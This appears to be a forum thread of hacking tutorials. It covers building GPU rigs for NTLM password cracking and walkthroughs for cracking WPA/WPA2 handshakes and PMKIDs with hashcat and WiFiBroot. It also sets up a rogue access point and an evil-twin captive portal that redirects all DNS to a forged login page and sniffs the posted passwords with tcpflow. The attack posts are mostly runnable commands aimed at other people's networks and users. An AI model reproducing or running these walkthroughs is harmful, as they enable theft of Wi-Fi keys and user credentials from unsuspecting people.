Men in Black


Last active 10 hours ago

  1. last week
    Tue Feb 11 20:56:03 2020
    Men in Black started the conversation How to build a (2nd) 8 GPU password cracker.



    In February 2017, we took our first shot at upgrading our old open-frame 6 GPU cracker (NVIDIA 970). It served us well, but we needed to crack 8 and 9-character NTLM hashes within hours and not days. The 970s were not cutting it and cooling was always a challenge. Our original 8 GPU rig was designed to put our cooling issues to rest.

    Speaking of cooling issues, we enjoyed reading all of the comments on our 2017 build. Everyone seemed convinced that we were about to melt down our data center. We thank everyone for their concern (and entertainment).

    • "the graphics cards are too close!"
    • "nonsense. GTX? LOL. No riser card? LOL good luck."

    To address cooling, we specifically selected (at the time) NVIDIA 1080 Founders Edition cards due to their 'in the front and out the rear' centrifugal fan design. A couple months after our initial blog, we upgraded from NVIDIA 1080 to NVIDIA 1080 Ti cards. And admitedly, we later found that more memory was useful when cracking with large (>10GB) wordlists.

    OK, But Why?

    Shortly after building our original 8 GPU cracker, we took it to RSA and used it as part of a narrated live hacking demo. Our booth was a play on the Warlock’s command center where we hacked Evil Corp from the comfort of Ma’s Basement. (yeah, a bit unique for RSA…)


    Shopping List

    You have a little flexibility here, but we’d strongly suggest the Tyan chassis and Founders Edition NVIDIA cards. The Tyan comes with the motherboard, power supplies (3x), and arrives all cabled up and ready to build. We went with a 4TB SSD to hold some very large wordlists but did not setup RAID with a 2nd drive (yet). Higher CPU speeds and memory mostly help with dictionary attacks; therefore a different build may be better suited for non-GPU cracking.

    • Tyan B7079F77CV10HR-N
    • 2x Intel Xeon E5-2630 V4 Broadwell-EP 2.2 GHz (LGA 2011-3 85W)

    +Be sure to get V3 or V4 (V4 recommended to support DDR4 2400 RAM)! *We learned the hard way!

    • 128GB (4 x 32GB) DDR4 2400 (PC4 19200) 288-Pin 1.2V ECC Registered DIMM
    • Samsung EVO 4TB 2.5” SSD


    • Ubuntu - 18.04 LTS server (x64)
    • hashcat -
    • hashview -


    • Depends heavily on the current market price of GPUs. ($12K-$17K)
    • At least the software is all free! And who can put a price on cracking performance?

    The Build

    Despite being a hash munching monster and weighing nearly 100 lbs. when assembled, this build is easy enough for novice.


    Hardware Build Notes

    • Normally I like to install the CPU(s) first, but I ordered the wrong ones and had to install them 3 days later. Be sure to get V3 or V4 XEON E5 processors, V2 is cheaper but ‘it don’t fit’.

    +When installing the (included) Tyan heat-sinks, we added a little extra thermal paste even through the heat-sinks already have some on the bottom.

    • Install memory starting in Banks A and E (see diagram above). CPU 0 and CPU 1 each require matching memory. Memory Banks A-D are for CPU 0 and Memory Banks E-H are for CPU 1. We added 2x 32GB in Bank A and 2x 32GB in Bank E for a total of 128GB RAM.
    • Install hard drive for (Linux) operating system. We chose a 4TB SSD drive to ensure plenty of storage for large wordlists and optimum read/write performance. The chassis has 10 slots so feel free to go crazy with RAID and storage if you wish.
    • Prep all 8 GPU cards by installing the included Tyan GPU mounting brackets. They are probably not required, but they ensure a good seat.
    • Install GPU cards. Each NVIDIA 1080 Ti requires 2 power connections per card. The regular 1080 cards only require 1 if you decide not to go the ‘Ti’ route. Again, Tyan includes all necessary power cables with the chassis.
    • Connect or insert OS installation media. I hate dealing with issues related to booting and burning ISOs written to USB flash; so we went with a DVD install (USB attached drive).
    • Connect all 3 power cords to the chassis and connect the other end of each cord to a dedicated 15A or 20A circuit. While cracking, the first 2 power supplies draw 700-900W with a less on the 3rd. They do like dedicated circuits though, it is easy to trip breakers if anything else is sharing the circuit.

    Software Build Notes

    Everyone has their own preferred operating system and configuration, so we’ve decided not to go telling you how to do your thing. If you are new to installing and using a Linux operating system, we did include a complete walk-through in our February 2017 post: How to build a 8 GPU password cracker.

    The basic software build steps are as follows:

    • Install your preferred Linux OS. We chose Ubuntu 18.04 LTS (64 bit - server). Fully update and upgrade.
    • Prepare for updated NVIDIA drivers:

    +Blacklist the generic NVIDIA Nouveau driver

    sudo bash -c "echo blacklist nouveau > /etc/modprobe.d/blacklist-nvidia-nouveau.conf"
    sudo bash -c "echo options nouveau modeset=0 >> /etc/modprobe.d/blacklist-nvidia-nouveau.conf"
    sudo update-initramfs -u
    sudo reboot

    +Add 32-bit headers

    sudo dpkg --add-architecture i386
    sudo apt-get update
    sudo apt-get install build-essential libc6:i386

    +Download, unzip and install the latest NVIDIA driver from


    sudo ./NVIDIA*.run
    sudo reboot

    The Outcome

    Go ahead, run a benchmark with hashcat to make sure everything works!

    ./hashcat-5.0.0/hashcat64.bin -m 1000 -b

  2. Tue Feb 11 20:46:34 2020
    Men in Black started the conversation How to build a 8 GPU password cracker.


    This build doesn't require any "black magic" or hours of frustration like desktop components do. If you follow this blog and its parts list, you'll have a working rig in 3 hours. These instructions should remove any anxiety of spending 5 figures and not knowing if you'll bang your head for days.

    The Goal

    Upgrade our current rig from 6 gtx 970s to 8 gtx 1080. Don't blow a fuse.

    Parts list


    • Chassis & Motherboard - Tyan Ft77C-B7079 (P/N: B7079F77CV10HR-N)
    • CPU - 2 Xeon E5-2620V3 LGA2011 (dont purchase one CPU, 2 are required to control all PCIE slots)
    • Memory - 2 32g DDR4 PC2400 288pin LRDIMM
    • Hard drive - 1tb Samsung SSD 850 EVO
    • GPUs - 8 EVGA gtx1080 founders edition (whatever you get, make sure its a founders edition. Sometimes called a reference card/edition)


    • Ubuntu - 14.04.3 server (x64)
    • hashcat -
    • hashview -


    Nowadays building mid-grade to high-end password crackers is like playing with legos, albeit expensive legos.

    We did a time lapse of the build:

    Build notes

    There are few things we learned during the purchasing and assembly.

    • You don't need to purchase a separate heatsink and fan for your CPUs. The Tyan chassis will come with them.
    • Tyan chassis comes with brackets that screw into the back of you GPUs to secure them in place. These may not be needed if you never move the box, but it doesn't hurt to install them. We did.
    • Rails are included with the Tyan.
    • This chassis doesn't appear to have a onboard hardware raid. I just assumed it would :-(
    • BIOs didn't require any modifications or flashing. Came fully updated as of January 2017.
    • We disabled the system speaker because it will scream at you if you don't have all three power supplies plugged in.


    In the image below you can see the brackets that attach to the rear of the GPU for added support. Probably not needed but if you were to ship this rig I'd install them. This thing is HEAVY!







    Software Install

    We had no hardware issues but we installed one GPU, booted the system, and once we verified it could POST with no issues, we started installing the OS. Once Ubuntu finished installing, we later reinstalled all GPUs. Since things went so smoothly, next time I'd just fully install all GPUs and fire it up. Nothing to worry about.

    Install Ubuntu 14.04.3 Server (x64)

    Not going to cover this in detail. But here are few things we considered.

    1.Use LVM
    2.We chose not to encrypt whole disk or home directory. We generally make an encrypted volume later.
    3.Choose 'OpenSSH Server' from software selection screen (one less step post install)

    Once OS is installed, verify GPUs are detected by OS:

    lspci | grep VGA

    Update and install dependencies for drivers and hashcat

    sudo apt-get update && apt-get upgrade
    sudo apt-get install gcc make p7zip-full git lsb-core

    Download and install Nvidia drivers and Intel OpenCL runtime

    Download Nvidia drivers. Nvidia 375.26 was current at the time of this build (January 2017).

    UPDATE 4/10/2017 - If using 1080 Ti, use driver 378.13

    chmod +x
    sudo ./

    If you get warning messages about x86 you can ignore them. Here's an example of one:

    WARNING: Unable to find a suitable destination to install 32-bit compatibility libraries. Your system may not be set up for 32-bit compatibility. 32-bit compatibility files will not be installed; if you wish
    [Cto install them, re-run the installation and set a valid directory with the --compat32-libdir option

    Install OpenCL runtime (not required but why not, use those CPUs too)

    tar -xvf opencl_runtime_16.1.1_x64_ubuntu_6.4.0.25.tgz
    cd opencl_runtime_16.1.1_x64_ubuntu_6.4.0.25

    Install hashcat -

    7z x hashcat-3.30.7z
    cd hashcat-3.30

    Test hashcat by running a 341 GH/s!!!!

    meatball@kraken3:~/hashcat-3.30$ ./hashcat64.bin -m 1000 -b
    hashcat (v3.30) starting in benchmark mode...
    OpenCL Platform #1: NVIDIA Corporation
    * Device #1: GeForce GTX 1080, 2028/8113 MB allocatable, 20MCU
    * Device #2: GeForce GTX 1080, 2028/8113 MB allocatable, 20MCU
    * Device #3: GeForce GTX 1080, 2028/8113 MB allocatable, 20MCU
    * Device #4: GeForce GTX 1080, 2028/8113 MB allocatable, 20MCU
    * Device #5: GeForce GTX 1080, 2028/8113 MB allocatable, 20MCU
    * Device #6: GeForce GTX 1080, 2028/8113 MB allocatable, 20MCU
    * Device #7: GeForce GTX 1080, 2028/8113 MB allocatable, 20MCU
    * Device #8: GeForce GTX 1080, 2028/8113 MB allocatable, 20MCU
    Hashtype: NTLM
    Speed.Dev.#1.....: 42896.1 MH/s (62.48ms)
    Speed.Dev.#2.....: 42604.1 MH/s (62.97ms)
    Speed.Dev.#3.....: 42799.0 MH/s (62.57ms)
    Speed.Dev.#4.....: 42098.9 MH/s (63.68ms)
    Speed.Dev.#5.....: 42871.5 MH/s (62.57ms)
    Speed.Dev.#6.....: 42825.0 MH/s (62.64ms)
    Speed.Dev.#7.....: 42848.9 MH/s (62.54ms)
    Speed.Dev.#8.....: 42449.8 MH/s (63.16ms)
    Speed.Dev.#*.....:   341.4 GH/s
    Started: Mon Feb 13 17:54:12 2017
    Stopped: Mon Feb 13 17:54:31 2017

    Install hashview -

    Install dependencies

    sudo apt-get update
    sudo apt-get install mysql-server libmysqlclient-dev redis-server openssl

    Optimize the database

    vim /etc/mysql/my.conf

    Add the following line under the [mysqld] section:

    innodb_flush_log_at_trx_commit  = 0

    Restart mysql

    service mysql restart

    Install RVM - (commands below are from

    gpg --keyserver hkp:// --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3
    \curl -sSL | bash -s stable --ruby

    Download and setup Hashview

    git clone
    cd hashview

    Install gems (from Hashview directory)

    rvm install ruby-2.2.2
    gem install bundler
    bundle install

    Setup database connectivity

    cp config/database.yml.example config/database.yml
    vim config/database.yml

    Create database

    RACK_ENV=production rake db:setup

    In another terminal or screen session, kick off resque

    RACK_ENV=production TERM_CHILD=1 QUEUE=* rake resque:work

    note: In production mode no output will be displayed until a job has started

    Run Hashview

    RACK_ENV=production ruby hashview.rb

    Crack Hashes

    Start a job and start cracking!


    Then intensely watch analytics in realtime while sipping on your favorite cocktail

    Stay tuned...

    We just bought our second 8 GPU rig! In a future post we'll show you how to easily support distributed cracking using Hashview.

  3. Sun Feb 9 21:34:18 2020


    WPA/WPA2 cracking has been a focus point in the community since many years. And we have tools to aim that focus like aircrack and hashcat . Some new advancements have been made to aid that focus in the past couple of years.

    So, Cracking WPA/WPA2 has been quite a topic now. In this tutorial, we are going to cover one of the infamous tools "hashcat" for cracking WPA/WPA2.

    Hashcat which is primarily built for brute forcing different kind of hashes using different kind of attack vectors, supports cracking for two of badly known WPA/WPA2 attacks. Well, for the list of available hashes, you can check the hash modes section in the manual:


    In previous, you might have seen or even worked with aircrack to crack WPA/WPA2 by capturing a 4-way handshake. But that was not anywhere close to how perfect could this tool be for the purpose. Besides, hashcat is a GPU + CPU maintained tool which makes it a lot more faster.

    In short, if you own a GPU, always go for hashcat or else you could use an online service or buy out some GPU based server on Internet.

    We will cover up with two famous WPA/WPA attacks, precisely the cracking of MIC (4-way handshake) and PMKID (1st packet/handshake). So, let's begin.


    Hashcat is built to work on Windows, Linux and as well as on Mac. You can go to and download the binaries and follow the instruction for your operating system. What we are going to do here is clone a fresh copy of hashcat from github and manually install it on a debain based linux.

    Preferably, you should use Kali Or Parrot but a similar distro like Ubuntu will work as well.

    Update Your Repo's and install the following dependencies:

    $ apt update
    $ apt install git build-essential ocl-icd-libopencl1 libcurl4-openssl-dev libssl-dev zlib1g-dev libpcap-dev -y

    Clone hashcat from github and move to directory:

    $ git clone
    $ cd hashcat/

    Finally, compile the binaries and we are all set with hashcat.

    $ git submodule update --init
    $ sudo make && sudo make install


    You may try printing the help manual for hashcat to check whether you have it installed perfectly or not.

    $ hashcat --help



    Now, let's clone and compile hcxtools from github. It is basically a set of various files to convert and generate another version of the supplied input. We will use it to convert the captured traffic into a format understandable by hashcat.

    First, clone the repo and move the hcxtools directory:

    $ git clone
    $ cd hcxtools/

    And finally, run the make command to compile binaries and make necessary changes in path.

    $ sudo make && sudo make install


    After having the requirements installed, we move to the cracking part. Below this, i am dividing the tutorial into two parts, first we will crack the WPA/WPA2 using MIC aka 4-way handshake. While in second, i'll do cracking using PMKID.

    PART A

    Let's clear how the MIC cracking actually works. So, in this case, we need a valid 4-way handshake. The handshake consists of many keys that are interchanged during the authentication between the client and access point.

    These independent keys are used to generate a common key named "Message Integrity Code (MIC)". This generated MIC is used to validate the given password by cracker.

    STEP 1

    Conversion to hccapx format

    Supposing you already have a captured 4-way handshake using some tool like airodump, but you still need the proper format to supply it to hashcat. To convert it to a proper format (hccapx), you need another tool.

    There are already some online services that you may use:

    But still in case you are wondering to do it locally, clone the hashcat-utils repo from github:

    $ git clone
    $ cd hashcat-utils/src

    Finally, compile the binaries. After compiling, you will have the binaries under same directory. The binary file that we need is cap2hccapx.bin. To make sure, you have it correctly compiled, try to execute the file, it will throw you back the syntax:

    $ sudo make
    $ ./cap2hccapx.bin


    So, after having it installed, use the below given syntax to convert the .cap file to .hccapx hashcat capture format.

    $ ./capt2hccapx.bin /path/tp/capfile.cap hashfile.hccapx


    So, this will generate a file by the name "hashfile.hccapx", which is what we are going to use with hashcat. Now, you may move to whatever directory you want, since will be cracking the final format now.

    STEP 2

    Cracking WPA/WPA2 (handshake) with hashcat

    With hashcat, there is a possibily of various attack vectors. We could do a straight dictionary attack, brute-force attack, combinator attack or even masks attack, i.e. making rules to find various possibilities of trying different characters at different positions.

    Anyhow, let's study the actual cracking of WPA/WPA2 handshake with hashcat.

    Dictionary Attack:

    As named, you need a wordlist for it to work. Considering you have solid list of possible wifi passphrases, or if not, you can download the famous ones:

    Launch the following command for dictionary attack:

    $ hashcat -a 0 -m 2500 hashfile.hccapx /path/to/dict.txt


    -a: specifies cracking mode. In our case it's dictionary mode and "/path/to/dict.txt" is complete path to the wordlist.

    • m: hash mode. Specifies what type of hash we are dealing with.

    In Case You Receive issues regarding Intel CPU or "No devices found/left", use --force argument to force the usage of your device.

    Brute-Force Attack:

    The Brute-force is different than the dictionary attack. Here, we try to replace every character at every possible position in a specified length from a given charset. For example, in a string of length 8, we can try every character from A-Z at every postion in this string.

    That's how brute-forcing works and hence very time-consuming. Launch the following command to start your first attempt for brute-forcing:

    $ hashcat -m 2500 -a 3 hashfile.hccapx ?d?d?d?d?d?d?d?d


    -a: specifies the cracking mode and here the value 3 indicates, we are running a brute-force attack.
    ?d?d?d?d?d?d?d?d: is the brute-forcing rule here. It specifies what kind of values to check, where to replace and also assumes how much time could it take to crack the key.

    The above mask i.e. "?d?d?d?d?d?d?d?d" states to check a string of length 8 with a digit at every position. You can study about mask attack here: Hashcat Mask Attack .

    PART B

    Part A was about the handshake cracking. Whilst now, we are going to crack PMKID with hashcat. The PMKID is located in the 1st packet of 4-way handshake and hence it's kind of more useful because we don't need a complete handshake.

    The algorithm to compute PMKID is given which is quite easier than that of MIC.

    PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)

    Let the cracking begin for PMKID.

    STEP 1

    Getting the PMKID hash

    The first thing to proceed with PMKID cracking is the pmkid hash. To generate it we need the first packet of the 4-way handshake. Considering you already have that, we will extract the hash from the captured file.

    Let's do the conversion. Execute the below command

    $ hcxpcaptool -z pmkid.hash /path/to/capture.cap


    This will generate a file by the name pmkid.hash that we will use with hashcat to do the cracking.

    STEP 2

    Cracking WPA/WPA2 (PMKID) with hashcat

    Just like previous part, we will apply the same rules here except for the hash mode argument. The hash mode value for PMKID cracking is 16800.

    Dictionary Attack:

    As per syntax we have back in the PART A section for dictionary attack, we will use that very same syntax except for the -m argument which defines what kind of hash we want to crack. We will be cracking pmkid (16800) this time.

    $ hashcat -a 0 -m 16800 pmkid.hash /path/to/wordlist.txt


    While this would crack the key by looping through each line given in the wordlist.

    Brute-Force Attack:

    We will do same here as last section i.e. providing a mask to crack the hash. This time, just to show how powerful these masks could be, i'll use a different one. So, execute the command for brute-force attack:

    $ hashcat -a 3 -m 16800 pmkid.hash ?l?l?l?l?l?l?l?l


    The above mask will create combinations of string of length 8 with every alphabet at every possible position. And this sounds like a huge combination that may take a lot of time to complete. To make the attack more faster, we can use the GPU.


    Now, getting into CPU/GPU thing, we just need to know that GPU is a lot more faster than CPU and hashcat have the ability to do cracking on your GPU. Hashcat has following three device modes which can be changed via -d argument:

    • 1: CPU which is by default, selected.
    • 2: GPU
    • 3: DSP, Co-processor.

    You can use one of these devices according to what's more suitable for you. For example,

    $ hashcat -a 3 -m 16800 -d 2 pmkid.hash /path/to/wordlist.txt

    To accomplish PMKID attack on GPU. That's it, i.e. cracking WPA/WPA2 via hashcat.


    The conclusion that can be drawn out of all above is that hashcat is not just limited for a number of hashes, infact it's applicable to a wide range of hashes and other possibilities including mixes and concatenated strings. We learned to crack WPA/WPA2 using hashcat.

    Besides, hashcat is known of it's power, stability and speed by operating on GPU. It also gives us the possibility of mask attack which let us play with possibilities of testing thousand of thousands strings against the hash.

  4. Sun Feb 9 21:15:39 2020


    Hosting a wireless access point is rather easy on windows and android as compared to those of based on debian and other linux distros. In this sceneario you would have to provide every single detail youself by configuring packages and writing configuration. Well, in windows there are just a couple commands to accomplish the task and as for android, it's hotspot. Approaching this in linux would be a bit tricky and as for new commers perplexing.

    The widely accepted tool for the purpose is hostapd which we have also used in some of the earlier tutorials. Lately, developers of wifiphisher developed a small tool that could tackle the problem of handling hostapd configuration in a more robust way. And later, it was used in wifiphisher and was named roguehostapd (a modified version of hostapd). The developers record that some previous known errors were removed in newer version and also supports some other wireless attacks as well.

    Roguehostapd provides a simple CLI interface with argument options to deal with user requirements, just like a normal command line tool. It also supports karma attack where an attacker provides it's users internet connectivity but still own's the actual arena. However, note that we will still have to configure a DHCP server for which we will use dnsmasq.

    STEP 1


    Dnsmasq can easily be installed with apt, however that's not the case with roguehostapd. Update your system and install pre-requisities.

    $ apt update
    $ apt install libnl-3-dev libnl-genl-3-dev libssl-dev dnsmasq

    To make roguehostapd work as a usual tool, we will have to manually place it under some directory and produce a link to an execution directory. Move to /opt directory and clone the tool from github:

    $ cd /opt/
    $ git clone
    $ cd roguehostapd/roguehostapd/
    $ ls -l

    And finally create the soft link to command execution directory:

    $ ln -s /opt/roguehostapd/roguehostapd/ /usr/bin/rghostapd

    We've followed this way of installation to install it as a normal command utility. To integrate it with wifiphisher, it can be done with a single command:

    $ pip install roguehostapd

    STEP 2

    Monitor Mode

    Put your wireless card in monitor mode:

    $ airmon-ng start wlan1

    STEP 3

    Wireless Access Point

    The manual for roguehostapd can be issued from CLI now:

    $ rghostapd --help


    To launch wireless access point with rghostapd, execute the following command:

    $ rghostapd -i "wlan1mon" --ssid "WiFi Name" -c 6 -pK "password"

    -i, --interface: Monitor Mode interface to host AP on.

    • c, --channel: Access Point Channel.
    • -ssid: Wireless Access Point ESSID or Name.
    • pK, --wpa2password: Access Point WPA password.


    STEP 4

    DHCP server

    Since, we have our Access Point, all we need is a DHCP server to let the actual traffic flow through our network. We have dnsmasq for this part. Create a temporary configuration file for dnsmasq with nano:

    $ nano /tmp/dnsmasq.conf

    And write the following configurations into the file with the wireless interface replaced with your interface:


    Press CTRL+X and then ENTER to save the file. Then execute the following two commands to assign reqired ip and netmask to your interface:

    $ ifconfig wlan1mon up netmask
    $ route add -net netmask gw

    Then for sure, kill dnsmasq process if any running already on your system:

    $ killall dnsmasq

    And finally, start dnsmasq:

    $ dnsmasq -C /tmp/dnsmasq.conf -d


    STEP 5

    IP Forwarding

    And finally the last thing is providing the Access Point users with internet facility. For this we need another wired or wireless interface from where traffic will be forwarded to our Access Point interface. I've got two wireless adapters, one is connected to internet (wlan0) and the other on which currently I've an access point (wlan1mon).

    Just execute the following commands with the bold words replaced by your respective interfaces:

    $ iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
    $ iptables --append FORWARD --in-interface wlan1mon -j ACCEPT

    And at last, allow the traffic forwarding rules in linux configuration:

    $ echo 1 > /proc/sys/net/ipv4/ip_forward

    After this, you will have your access point on duty to serve it's users.


    Setting up a wireless access point on linux is rather tricky than windows and android for we have to configure traffic forwarding and setup the network as well. Roguehostapd which is the newer and updated version of hostapd is not officially but developed by wifiphisher developers to be integrarted into their project. It also provides users with support of wifi karma attack.

  5. Sun Feb 9 21:09:03 2020
    Men in Black started the conversation Hack Wifi: Setup Your Fake Access Point.


    It often happens that when you connect to a WiFi network, you get a notification or a splash screen that tells you to do something in order to use the WiFi. Usually, you will see a login screen. That screen is called Captive Portal.

    So, what is it? Captive Portal is a small functional web document usually triggered through DNS spoofing & server redirection rules to trick the OS. If successful, the OS will trigger the Captive Portal Login Page.

    Let's see how we can setup a Captive Portal Login Page.

    So, how does a captive portal work? It works through DNS hijacking or Server redirection rules. Every OS has it's own way of detecting the captive portal in place. But mostly, the OS's looks for 302 redirection responses. Let's study each of their responses.


    Windows has it's obfuscated way of detecting captive portal. Usually, it would be one of two sites:


    Android checks for returned response code. For example, if the returned response is 302, the OS will assume it to be the captive portal and trigger it. Usually, it be one of the following:


    Unlike Android & Windows, Apple when sends a request to the site, the site checks for a specific header that may clarify the nature of requested device. Apple requests for urls, usually:

    From iOS 7+, apple uses a specific User-Agent for Captive Portal requests: CaptiveNetworkSupport that can be used to trace Apple devices.

    Let's see how to setup the Captive Portal. We will be using hostapd for access point configuration, dnsmasq for DHCP server and nginx as our hosting web server and redirection rules.

    STEP 1


    To acheive our objective, we will perform the step as a whole. Install nginx and other required tools and update your repositories:

    $ apt update
    $ apt install hostapd dnsmasq nginx

    Then put your wireless interface in monitor mode:

    $ airmon-ng start wlan1

    STEP 2

    Rogue Access Point

    We are about to use hostapd for hosting our Access Point. But this time, with a bit amendment, here's a link for hosting an access point with roguehostapd which infact would make the task more easier by replacing the actual configuration with a few arguments.

    Create and save the hostapd configuration for Access Point:

    $ nano /tmp/hostapd.conf
    ssid=[Fake AP Name] 
    channel=[Fake AP Channel]

    Start hostapd service:

    $ hostapd /tmp/hostapd.conf


    STEP 3

    DHCP Server

    Now, we need a DHCP server to setup a small network provide the connecting users with ip addresses. We will use dnsmasq for the purpose. Create and save a new configuration file for dnsmasq:

    $ nano /tmp/dnsmasq.conf

    Up here in the configuration we used a field address. What it does is redirect all the ip addresses and hosts to a single ip as provided and in our case it is the gateway address where our forged website will reside:


    Just in case you want to redirect only a few sites, you will have to explicitly define each site individually followed by slash and the site to be followed. This way is used when you are willing to provide internet access to the users. For example:


    But we don't want it here for we want to give maximum redirects. It's because we don't know a user is going to request which site. So, why don't redirect all?

    Start dnsmasq service:

    $ dnsmasq -C /tmp/dnsmasq.conf -d


    Finally, execute these two commands to assign gateway ip and netmask to your interface:

    $ ifconfig wlan1mon up netmask
    $ route add -net netmask gw

    STEP 4

    Captive Portal

    Here starts the actual work. Create a new directory to place your website and move to that directory. I would name it captive_portal.

    $ mkdir /var/www/captive_portal
    $ cd /var/www/captive_portal

    Now, download the Rogue AP website and extract the files under this directory:

    $ wget
    $ unzip -d ./

    Now, you would have files placed under your captive_portal directory. All we need now is to setup nginx configuration for our captive portal project. First, remove enabled sites from nginx configuration directory:

    $ rm /etc/nginx/sites-enabled/*

    Now, create a new configuration file for your captive portal project and place the following directives and then save the file:

    $ nano /etc/nginx/sites-enabled/captive_portal
        listen 80;
        root /var/www/captive_portal;        
        location / {
            if (!-f $request_filename){
                return 302 $scheme://;

    What is happening behind in the nginx configuration is whenever a file which doesn't exist is requested by the user, the request will be redirected to our fake page i.e. which is exactly what we are trying to accomplish. You should note that this is the most important part where the non-existent files are being redirected. The directive root specifies the directory where the website is placed. Finally, reload the nginx service:

    $ service nginx reload
    $ service nginx restart

    Check if nginx is correctly serving our fake page:

    $ service nginx status


    STEP 5

    Capture Password

    Since, we have our servicable access point along with a forged document, we need a way to capture the password credentials. Previously, we used MySQL database to store the data. However, there's even a better approach. Let's do sniffing and capture what is posted in the network. Open a terminal and execute this command:

    $ sudo tcpflow -i any -C -g port 80 | grep -i "password1="

    What is happening is we are capturing the whole network traffic on every interface and then piping it to grep which will look for specific lines. I've set this up according to what will be POSTed when a user will enter password and press Enter on Captive Portal Login page. It will print data on screen when entered on the forged website:

    STEP 6

    Internet Forwarding (Optional)

    The last step is to provide our users with internet facility. However to acheive it would be a bit controversial. What we need to do is change or uncomment the address field in dnsmasq configuration. But if we do then Captive Portal will no longer work. So, what to do?

    To overcome this complication, i.e. to provide internet as well as Captive Portal should also be served, the address field is to be explicitly defined for a set of given sites. For example, to only redirect android based operating systems, the address field would be:


    The same could be applied to other websites as well. There are multiple sites which are to be correctly redirected for this. I don't know all of them but some of those famous and widely implemented sites can be configured:


    Then restart dnsmasq with this configuration.

    Finally, we need another interface which have internet connection and the traffic from this interface will be forwarded to the access point interface. I've my this interface named wlan0 from where i will redirect traffic to wlan1mon. Execute the following commands with your respective interfaces:

    $ iptables --table nat --append POSTROUTING --out-interface wlan0 -j MASQUERADE
    $ iptables --append FORWARD --in-interface wlan1mon -j ACCEPT

    Now, just one step to go...

    $ echo 1 > /proc/sys/net/ipv4/ip_forward

    It's all setup. Pick up your mobile, connect to the Rogue Access Point and see for yourself. If you enter password in the fields and press enter, the captured data will be printed in tcpflow terminal:



    The conclusion that can be drawn from all of the above is users can easily be tricked into performing some unexpected tasks when it comes to wifi. With the help of captive portal login the overall performance and interactivity of the Access Point increases and the attack becomes more surfaced. Above all, the working of captive portal is merely placed upon the principle of redirection.

  6. Sun Feb 9 20:51:55 2020


    Since many of the last years we are continuously trying to stipulate with the same technique over and over again to somehow crack the WiFi passphrase. Unfortunately, this quest of ours has been invariabily one of those which usually have lesser outcomes and we usually end up with something like Rogue AP.

    However, with the uncovering of this new vulnerability now named PMKID, it's quite surprising that we can skip one of the most crucial steps in the traditional WPA/WPA2 cracking.

    What was the way before this uprising PMKID cracking? You see, we try to capture a 4-way handshake by forcing the clients to re-authenticate with the Access point by forging those savage de-authentication frames. The later part is cracking the key (MIC) by comptuing hashes which are mingled through the 4 packets (HANDSHAKE).

    Up until now, the process was same. But with the uncovering of this hostile vulnerability, thanks to Jen Steube, we can save quite a time of ours. Not just it decreased the time taken, rejected the need of a handshake but also increased the performance in terms of computing the cracking keys. With not dwelling more on to the topic, here's a logical statement to precisely compute the PMKID:


    Jens Steube not just publicly published the vulnerability with his tool hashcat but also disclosed much wider information and allowed us to dissect our own frames to acheive much bigger aims. Now, if I had been planning on writing efficient code to crack WPA2 with PMKID, Python with scapy would have been my priority. Let's just focus on cracking WPA/WPA2 with what we now know as PMKID.

    STEP 1

    Cloning and Interface

    Clone into the repository with git clone and move to the directory:

    $ git clone
    $ cd WiFiBroot/


    Previously, in this tutorial we had covered doing the same attack through a different perspective, basically following the foot-steps of Jens Steube through different tools. With WiFiBroot, which is a tool written in Python we can do the same task with a single command.

    WiFiBroot is built on the foundation of scapy, a well known packet forging library and tool. However, with upgradings and the continuous evolving of scapy, the layers and the fields within are slightly displaced from their orignal places. So, until a suitable version is released, the recommended version to install is 2.4.0 and so we will:

    $ pip uninstall scapy  // Uninstalling Previous Version
    $ pip install scapy==2.4.0

    With hcx scanning tool, we had a very limited choice of supported adapters for injecting the right frames. Now, in this case, a simple adapter like WN722N would be enough the produce the PMKID. Put your wireless adapter in monitor mode:

    $ airmon-ng start wlan1

    STEP 2

    Kick-Sart WiFiBroot

    WiFiBroot support multiple modes and has multiple usages. If you had happened to get through the manual of WiFiBroot, you would have known all the names and the purpose of each one of them.

    If you supply -h/--help argument with a valid mode, you will get all the available options for that mode. For Example, to print the options for de-authentication mode:

    $ python -m 4 --help

    To get along in simple steps without wasting our time, we can kick-start the tool:

    $ python --mode 2 -i wlan1mon -d /path/to/wordlist

    -m, --mode: Mode to use. Possible values: 1, 2

    • i, --interface: Monitor Interface to use.
    • d, --dictionary: Wordlist for cracking.
    • w, --write: Write output to a file.


    There is a small wordlist included in the directory with WiFiBroot. Besides, just the wordlist, wifibroot will attempt to guess the key by making assumptions through default passwords and further reshuffle them in a way the most companies does with their routers.

    Now, coming back to point; this will initiate the scanning of your sorrounding area, trying to discover the nearby wireless access points with 2.4 GHz frequencies. Before we proceed further, we need know what part of WPA/WPA2 is actually vulnerable. For the record, if you happen to have a WiFi with WPA only as it's encyption, you are safe from PMKID attack. It's WPA2 that on the spot is actually vulnerable. Choose your target network:


    STEP 3

    Wait for the EAPOL

    What makes this attack effective is the rejection of 4-way handshake as a need to crack WPA/WPA2 passphrases. EAPOL frames commence as successors to Authentication and Association requests. If both of the requests are to be successfully performed, both the station and the access point have to be agreed upon some terms. It is then after these requests that the access point dispatch the first EAPOL frame which contains the PMKID in RSN layer.


    You can see the following events happening in series:

    • Open Authentication
    • Association
    • 4-way handshake

    Here, we got the PMKID:


    If an empty PMKID is received, you will be informed of the event and will be notified that access point is not fallible to this attack.

    STEP 4


    Once we have the first handshake, we can crack the password right then and there. WiFiBroot does that as well. You will be notified that EAPOL first message has been captured and immediatly the cracking would start as can be seen in the screenshot. However, with the consideration in mind, we must conlude the fact that we are not going to acheive much speed with python as can be done through hashcat. So, we can also save the PMKID in the same format as of hcxpcaptools:

    $ python --mode 2 -i wlan1mon -d /path/to/wordlist -w output.txt


    The output file can then be resued with both WiFiBroot and hashcat, if you prefer cloud computing. I personally prefer hashcat for cracking. To reuse the file with WiFiBroot, you can simple launch:

    $ python -m 3 --type 2 -r output.txt --essid "MyWiFiName" -d dicts/list.txt

    STEP 5


    The file can be reused in a number of other cases including the famous hashcat tool. People usually prefer using hashcat when computing keys at a very high speed, usually in cloud servers nowadays. In the past couple years, cloud computing has become the most widespread norm among the computer industries and now people are using it to mine websites and data. Recently, this idea emerged of cracking WPA2 in cloud servers. You can setup your own server and use hashcat to crack the keys:

    $ hashcat -m 16800 --force output.txt [wordlist]


